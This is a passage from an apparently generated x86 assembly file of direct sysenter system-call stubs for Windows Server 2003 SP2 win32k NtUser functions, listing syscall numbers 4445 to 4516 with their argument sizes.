_5_2_3790_sp2_windows_2003_NtUserDeleteMenu PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4445
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDeleteMenu ENDP
; ULONG __stdcall NtUserDestroyAcceleratorTable( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserDestroyAcceleratorTable PROC STDCALL arg_01:DWORD
mov eax , 4446
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDestroyAcceleratorTable ENDP
; ULONG __stdcall NtUserDestroyCursor( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserDestroyCursor PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4447
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDestroyCursor ENDP
; ULONG __stdcall NtUserDestroyInputContext( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserDestroyInputContext PROC STDCALL arg_01:DWORD
mov eax , 4448
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDestroyInputContext ENDP
; ULONG __stdcall NtUserDestroyMenu( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserDestroyMenu PROC STDCALL arg_01:DWORD
mov eax , 4449
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDestroyMenu ENDP
; ULONG __stdcall NtUserDestroyWindow( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserDestroyWindow PROC STDCALL arg_01:DWORD
mov eax , 4450
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDestroyWindow ENDP
; ULONG __stdcall NtUserDisableThreadIme( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserDisableThreadIme PROC STDCALL arg_01:DWORD
mov eax , 4451
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDisableThreadIme ENDP
; ULONG __stdcall NtUserDispatchMessage( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserDispatchMessage PROC STDCALL arg_01:DWORD
mov eax , 4452
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDispatchMessage ENDP
; ULONG __stdcall NtUserDragDetect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserDragDetect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4453
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDragDetect ENDP
; ULONG __stdcall NtUserDragObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtUserDragObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4454
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDragObject ENDP
; ULONG __stdcall NtUserDrawAnimatedRects( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserDrawAnimatedRects PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4455
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDrawAnimatedRects ENDP
; ULONG __stdcall NtUserDrawCaption( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserDrawCaption PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4456
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDrawCaption ENDP
; ULONG __stdcall NtUserDrawCaptionTemp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtUserDrawCaptionTemp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4457
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDrawCaptionTemp ENDP
; ULONG __stdcall NtUserDrawIconEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_5_2_3790_sp2_windows_2003_NtUserDrawIconEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 4458
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDrawIconEx ENDP
; ULONG __stdcall NtUserDrawMenuBarTemp( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtUserDrawMenuBarTemp PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4459
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserDrawMenuBarTemp ENDP
; ULONG __stdcall NtUserEmptyClipboard( );
_5_2_3790_sp2_windows_2003_NtUserEmptyClipboard PROC STDCALL
mov eax , 4460
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserEmptyClipboard ENDP
; ULONG __stdcall NtUserEnableMenuItem( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserEnableMenuItem PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4461
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserEnableMenuItem ENDP
; ULONG __stdcall NtUserEnableScrollBar( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserEnableScrollBar PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4462
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserEnableScrollBar ENDP
; ULONG __stdcall NtUserEndDeferWindowPosEx( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserEndDeferWindowPosEx PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4463
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserEndDeferWindowPosEx ENDP
; ULONG __stdcall NtUserEndMenu( );
_5_2_3790_sp2_windows_2003_NtUserEndMenu PROC STDCALL
mov eax , 4464
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserEndMenu ENDP
; ULONG __stdcall NtUserEndPaint( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserEndPaint PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4465
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserEndPaint ENDP
; ULONG __stdcall NtUserEnumDisplayDevices( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserEnumDisplayDevices PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4466
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserEnumDisplayDevices ENDP
; ULONG __stdcall NtUserEnumDisplayMonitors( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserEnumDisplayMonitors PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4467
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserEnumDisplayMonitors ENDP
; ULONG __stdcall NtUserEnumDisplaySettings( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserEnumDisplaySettings PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4468
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserEnumDisplaySettings ENDP
; ULONG __stdcall NtUserEvent( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserEvent PROC STDCALL arg_01:DWORD
mov eax , 4469
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserEvent ENDP
; ULONG __stdcall NtUserExcludeUpdateRgn( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserExcludeUpdateRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4470
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserExcludeUpdateRgn ENDP
; ULONG __stdcall NtUserFillWindow( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserFillWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4471
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserFillWindow ENDP
; ULONG __stdcall NtUserFindExistingCursorIcon( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserFindExistingCursorIcon PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4472
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserFindExistingCursorIcon ENDP
; ULONG __stdcall NtUserFindWindowEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtUserFindWindowEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4473
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserFindWindowEx ENDP
; ULONG __stdcall NtUserFlashWindowEx( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserFlashWindowEx PROC STDCALL arg_01:DWORD
mov eax , 4474
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserFlashWindowEx ENDP
; ULONG __stdcall NtUserGetAltTabInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtUserGetAltTabInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4475
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetAltTabInfo ENDP
; ULONG __stdcall NtUserGetAncestor( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetAncestor PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4476
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetAncestor ENDP
; ULONG __stdcall NtUserGetAppImeLevel( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserGetAppImeLevel PROC STDCALL arg_01:DWORD
mov eax , 4477
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetAppImeLevel ENDP
; ULONG __stdcall NtUserGetAsyncKeyState( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserGetAsyncKeyState PROC STDCALL arg_01:DWORD
mov eax , 4478
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetAsyncKeyState ENDP
; ULONG __stdcall NtUserGetAtomName( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetAtomName PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4479
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetAtomName ENDP
; ULONG __stdcall NtUserGetCaretBlinkTime( );
_5_2_3790_sp2_windows_2003_NtUserGetCaretBlinkTime PROC STDCALL
mov eax , 4480
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetCaretBlinkTime ENDP
; ULONG __stdcall NtUserGetCaretPos( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserGetCaretPos PROC STDCALL arg_01:DWORD
mov eax , 4481
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetCaretPos ENDP
; ULONG __stdcall NtUserGetClassInfoEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtUserGetClassInfoEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4482
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetClassInfoEx ENDP
; ULONG __stdcall NtUserGetClassName( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserGetClassName PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4483
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetClassName ENDP
; ULONG __stdcall NtUserGetClipboardData( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetClipboardData PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4484
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetClipboardData ENDP
; ULONG __stdcall NtUserGetClipboardFormatName( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserGetClipboardFormatName PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4485
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetClipboardFormatName ENDP
; ULONG __stdcall NtUserGetClipboardOwner( );
_5_2_3790_sp2_windows_2003_NtUserGetClipboardOwner PROC STDCALL
mov eax , 4486
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetClipboardOwner ENDP
; ULONG __stdcall NtUserGetClipboardSequenceNumber( );
_5_2_3790_sp2_windows_2003_NtUserGetClipboardSequenceNumber PROC STDCALL
mov eax , 4487
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetClipboardSequenceNumber ENDP
; ULONG __stdcall NtUserGetClipboardViewer( );
_5_2_3790_sp2_windows_2003_NtUserGetClipboardViewer PROC STDCALL
mov eax , 4488
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetClipboardViewer ENDP
; ULONG __stdcall NtUserGetClipCursor( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserGetClipCursor PROC STDCALL arg_01:DWORD
mov eax , 4489
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetClipCursor ENDP
; ULONG __stdcall NtUserGetComboBoxInfo( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetComboBoxInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4490
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetComboBoxInfo ENDP
; ULONG __stdcall NtUserGetControlBrush( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserGetControlBrush PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4491
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetControlBrush ENDP
; ULONG __stdcall NtUserGetControlColor( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserGetControlColor PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4492
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetControlColor ENDP
; ULONG __stdcall NtUserGetCPD( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserGetCPD PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4493
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetCPD ENDP
; ULONG __stdcall NtUserGetCursorFrameInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserGetCursorFrameInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4494
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetCursorFrameInfo ENDP
; ULONG __stdcall NtUserGetCursorInfo( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserGetCursorInfo PROC STDCALL arg_01:DWORD
mov eax , 4495
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetCursorInfo ENDP
; ULONG __stdcall NtUserGetDC( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserGetDC PROC STDCALL arg_01:DWORD
mov eax , 4496
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetDC ENDP
; ULONG __stdcall NtUserGetDCEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserGetDCEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4497
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetDCEx ENDP
; ULONG __stdcall NtUserGetDoubleClickTime( );
_5_2_3790_sp2_windows_2003_NtUserGetDoubleClickTime PROC STDCALL
mov eax , 4498
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetDoubleClickTime ENDP
; ULONG __stdcall NtUserGetForegroundWindow( );
_5_2_3790_sp2_windows_2003_NtUserGetForegroundWindow PROC STDCALL
mov eax , 4499
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetForegroundWindow ENDP
; ULONG __stdcall NtUserGetGuiResources( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetGuiResources PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4500
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetGuiResources ENDP
; ULONG __stdcall NtUserGetGUIThreadInfo( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetGUIThreadInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4501
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetGUIThreadInfo ENDP
; ULONG __stdcall NtUserGetIconInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtUserGetIconInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4502
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetIconInfo ENDP
; ULONG __stdcall NtUserGetIconSize( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserGetIconSize PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4503
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetIconSize ENDP
; ULONG __stdcall NtUserGetImeHotKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserGetImeHotKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4504
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetImeHotKey ENDP
; ULONG __stdcall NtUserGetImeInfoEx( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetImeInfoEx PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4505
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetImeInfoEx ENDP
; ULONG __stdcall NtUserGetInternalWindowPos( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserGetInternalWindowPos PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4506
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetInternalWindowPos ENDP
; ULONG __stdcall NtUserGetKeyboardLayoutList( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetKeyboardLayoutList PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4507
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetKeyboardLayoutList ENDP
; ULONG __stdcall NtUserGetKeyboardLayoutName( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserGetKeyboardLayoutName PROC STDCALL arg_01:DWORD
mov eax , 4508
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetKeyboardLayoutName ENDP
; ULONG __stdcall NtUserGetKeyboardState( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserGetKeyboardState PROC STDCALL arg_01:DWORD
mov eax , 4509
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetKeyboardState ENDP
; ULONG __stdcall NtUserGetKeyNameText( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtUserGetKeyNameText PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4510
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetKeyNameText ENDP
; ULONG __stdcall NtUserGetKeyState( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserGetKeyState PROC STDCALL arg_01:DWORD
mov eax , 4511
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetKeyState ENDP
; ULONG __stdcall NtUserGetListBoxInfo( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtUserGetListBoxInfo PROC STDCALL arg_01:DWORD
mov eax , 4512
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetListBoxInfo ENDP
; ULONG __stdcall NtUserGetMenuBarInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserGetMenuBarInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4513
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetMenuBarInfo ENDP
; ULONG __stdcall NtUserGetMenuIndex( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtUserGetMenuIndex PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4514
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetMenuIndex ENDP
; ULONG __stdcall NtUserGetMenuItemRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserGetMenuItemRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4515
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetMenuItemRect ENDP
; ULONG __stdcall NtUserGetMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtUserGetMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4516
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtUserGetMessage ENDP
; ULONG __stdcall NtUserGetMouseMovePointsEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
